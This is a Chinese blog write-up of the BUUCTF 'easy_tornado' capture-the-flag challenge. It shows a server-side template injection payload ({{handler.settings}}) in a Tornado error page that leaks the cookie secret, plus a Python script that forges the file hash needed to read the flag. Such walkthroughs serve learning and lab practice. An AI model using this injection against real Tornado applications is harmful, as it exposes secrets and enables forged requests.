【BUUCTF】web 之 [护网杯 2018]easy_tornado
2020-04-22 15:38
609 查看
打开出现三个目录:
/flag.txt
/welcome.txt
/hints.txt
依次点开查看
flag.txt 告诉我们flag在哪里
点开welcome.txt 显示 render 之后百度:tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。漏洞在于用户对他可控的话,可以通过{{}}传递变量或者执行表达式
/hints.txt 显示md5(cookie_secret+md5(filename))
仔细观察url发现 访问目录时 filename & filehash 变化, 加上目录里的提示我们可以构造url来解决此题。
使url中的filename=flllllllllllag
得到
http://50dea0f4-59b6-45a2-938a-6620a51c00c8.node3.buuoj.cn/error?msg=Error
修改 msg 的值 发现写在网页上面了 参考师傅们的博客:
msg={{handler.settings}} 可得到cookie。
然后根据hints的提示解题 话不多说上脚本:
#coding:'utf-8' import hashlib cookie = 'd1b53e16-511d-46eb-8499-4672e647eb9b' filename = '/fllllllllllllag' md5_filename = hashlib.md5(filename.encode(encoding='UTF-8')).hexdigest() word= cookie + md5_filename flag=hashlib.md5(word.encode(encoding='UTF-8')).hexdigest() print(flag)
所以 filehash=7301debca32903e96c13f04948944eb1
构造url访问得flag
- 点赞
- 收藏
- 分享
- 文章举报
相关文章推荐
- Python高效开发实战(web)——Django、Tornado、Flask、Twisted
- Tornado.web.Application的settings参数
- 2018湖湘杯web、misc记录
- 《Introduction to Tornado》中文翻译计划——第五章:异步Web服务
- Easy Basic HTTP authentication with Tornado
- Java Web 学习笔记之九:利用Jetty+restEasy搭建简单的rest web service
- 2018最新 Java Web进阶:数据库与MyBatis入门
- 编写第一个“程序”---轻松互联网开发平台(Easy do it,原名WebEasy)
- 玩蛇记-使用tornado构建高性能Web应用之一
- 玩蛇记-使用Tornado构建高性能Web之二-autoreload
- Tornado Web 开发 框架搭建 (3)
- 基于Tornado的web,数据的预先加载
- tornado异步web请求
- Tornado web.authenticated 用户认证浅析
- python基于protobu+websocket+tornado实现多种二进制协议消息的接收发送和解析demo
- 2018最新Web前端经典面试试题及答案
- 使用Python的Tornado框架实现一个Web端图书展示页面
- Easy Web Development Framework for Java
- web简单应用python框架的选择-tornado
- Python web框架:Django & Tornado